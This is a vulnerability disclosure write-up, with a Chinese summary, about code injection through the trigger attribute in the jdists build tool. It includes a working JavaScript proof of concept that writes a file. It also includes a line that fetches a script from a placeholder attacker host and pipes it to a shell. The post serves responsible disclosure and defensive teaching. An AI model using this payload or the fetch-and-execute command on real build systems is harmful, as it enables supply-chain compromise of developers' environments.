From code processor to code execution: RCE in jdists
From code processor to code execution: RCE in jdists
Summary. jdists — a code-block processing tool used by Baidu’s FIS
build ecosystem — evaluates the trigger attribute of a <!--jdists ... -->
block via new Function. The attribute comes straight from the file being
processed. Processing a malicious file therefore executes arbitrary code with
the build process’s privileges. Verified with a file-write PoC; reported as
zswang/jdists#16.
How the finding happened
The audit series had already produced two findings (a stack overflow and a
regex injection), both from low-maintenance packages. The strategy: keep
following the unmaintained corner of npm. fis-parser-jdists — a thin wrapper
around jdists — led to the core, and the core had three new Function
call sites. The interesting question was data flow: do any of them evaluate
strings that come from the processed file?
The vulnerability chain
file content: <!--jdists trigger="..."--> → node.attrs.trigger
↓
execTrigger(node.attrs.trigger) // lib/scope.js
↓
new Function('return (' + trigger + ')' )() // line ~478
↓
arbitrary code execution
The trigger attribute is not restricted to known names — the safe path only
matches ^([\w-_]+)(,[\w-_]+)*$. Anything else is handed to new Function
verbatim.
The PoC (verified on jdists@2.2.4)
const jdists = require('jdists')
const content = '<!--jdists trigger="(require(\'fs\').writeFileSync(\'pwned.txt\',\'PWNED\'),true)"-->keep<!--/jdists-->'
jdists.build(content, { fromString: true, remove: '' })
// build output: "keep"
// pwned.txt is created — the code ran
The build output looks completely normal. The file write happens silently alongside it.
Amplifiers
lib/jdists.js executes global.require = require for its template
processors — so the evaluated code has the entire Node module system:
require('child_process').execSync('curl http://attacker/x | sh')
One malicious file in a build produces a fully compromised build environment.
Why this is serious
Build tools process files that are not always authored by the person running
the build: third-party source, vendored code, CI artifacts, downloaded
templates. The supply-chain scenario is direct — a poisoned file in a
dependency graph reaches the parser, and the parser reaches new Function.
There is no known CVE for this. The package’s last release is from 2018 and the code has been there since.
The honest part
jdists has a second new Function site in querySelector, which evaluates
quoted attribute values. I tested it specifically: it is not exploitable —
the selector regex only captures a balanced quoted literal, so the eval
returns a string, and escape tricks (escaped quotes, template literals) stay
inside the literal. It is a code smell, not a vulnerability. Only the
trigger path is verified, and that is what the report claims.
The lesson
Code-processing tools are code-execution tools. The distance between
“processes your code” and “executes your code” is exactly one unescaped
attribute, one missing allowlist, one new Function that forgot to ask who
owns the string. When a tool evaluates file-derived content, it is a sandbox
boundary — and it should be treated, and tested, like one.
中文摘要
jdists(FIS 构建生态的代码块处理工具)把被处理文件里的 trigger 属性直接送进
new Function('return (' + trigger + ')')() 求值——没有任何白名单或沙箱。
实测 PoC:恶意 trigger 属性执行 writeFileSync 静默创建文件,构建输出完全正常。
放大因素:global.require = require 把整个 Node 模块系统暴露给被求值代码,
一个恶意文件就能在构建环境里执行任意命令(供应链场景)。已上报
zswang/jdists#16,无已知 CVE。
诚实记录:另一个 new Function 点(selector 求值)实测不可利用(正则只
捕获平衡引号字面量),所以报告只声称验证过的 trigger 路径。核心教训:
处理代码的工具就是执行代码的工具——”处理你的代码”和”执行你的代码”之间,
只差一个没加白名单的属性。